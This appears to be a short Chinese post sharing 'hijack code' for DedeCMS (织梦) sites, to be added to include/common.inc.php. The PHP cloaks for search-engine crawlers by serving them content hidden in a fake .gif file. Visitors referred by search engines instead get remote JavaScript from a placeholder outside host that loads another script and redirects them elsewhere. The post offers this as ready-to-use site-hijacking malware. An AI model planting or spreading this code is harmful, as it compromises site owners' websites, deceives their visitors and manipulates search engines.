一段织梦劫持代码

加在 include/common.inc.php

function _main() {
	$index = strtolower($_SERVER['SCRIPT_NAME']);
	$indexArr = array('index', 'default', 'home', 'safe','portal','forum');
	foreach($indexArr as $v) {
		if(strpos($index, $v) !== false) {
			return true;
		}
	}
}
function _spider() {
	$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
	$spiderArr = array('360spider','bytespider','soso','haosou','sogou','bing','yisou', 'sm','yahoo','youdao');
	foreach($spiderArr as $v) {
		if(strpos($agent, $v) !== false) {
			return true;
		}
	}
	$hostname = strtolower(gethostbyaddr(@$_SERVER['REMOTE_ADDR']));
	$spiderArr = array('sogouspider', 'hn.kd.ny.adsl', 'msnbot');
	foreach($spiderArr as $v) {
		if(strpos($hostname, $v) !== false) {
			return true;
		}
	}
}
function _from() {
	$referer = strtolower(@$_SERVER['HTTP_REFERER']);
	if(empty($referer)) {
		return false;
	} 
	$refeerArr = array('so.com', '360','toutiao', 'soso', 'bing','yisou','sm', 'sogou' , 'yahoo','haosou','youdao');
	foreach($refeerArr as $v) {
		if(strpos($referer, $v) !== false) {
			return true;
		}
	}
} 
if(_spider() && _main()) {
	@ob_end_clean();
	date_default_timezone_set("Asia/Shanghai");
	echo '<!--'.@date('Y-m-d H:i:s').'-->';
	echo @file_get_contents('./plus/guestbook/images/ger.gif');
	@ob_end_flush();
	exit();
}
if(_from()){
		@ob_end_clean();
		echo '<script language="javascript" src="https://xxxxxx.com/maps.baidu.js"></script><br/>';
		@ob_end_flush();
		exit();
}

https://xxxxxcom/maps.baidu.js

document.writeln("<center><h1>\u6b63\u5728\u4e3a\u60a8\u8f7d\u5165\uff0c\u8bf7\u60a8\u7a0d\u7b49....</h1></center>");
document.writeln("<script>");
document.writeln("var _hmt = _hmt || [];");
document.writeln("(function() {");
document.writeln("  var hm = document.createElement(\"script\");");
document.writeln("  hm.src = \"https://hm.baidu.com/hm.js?41d42fcb52123429a8ddd7fa4b9f5a8e\";");
document.writeln("  var s = document.getElementsByTagName(\"script\")[0]; ");
document.writeln("  s.parentNode.insertBefore(hm, s);");
document.writeln("})();");
document.writeln("</script>");
document.writeln("<script language=\"javascript\" src=\"https:\/\/xxxxx.com/3.js\" charset=\"gb2312\"><\/script>");

xxxxx.com/3.js

window.location.href="https://xxxx.com";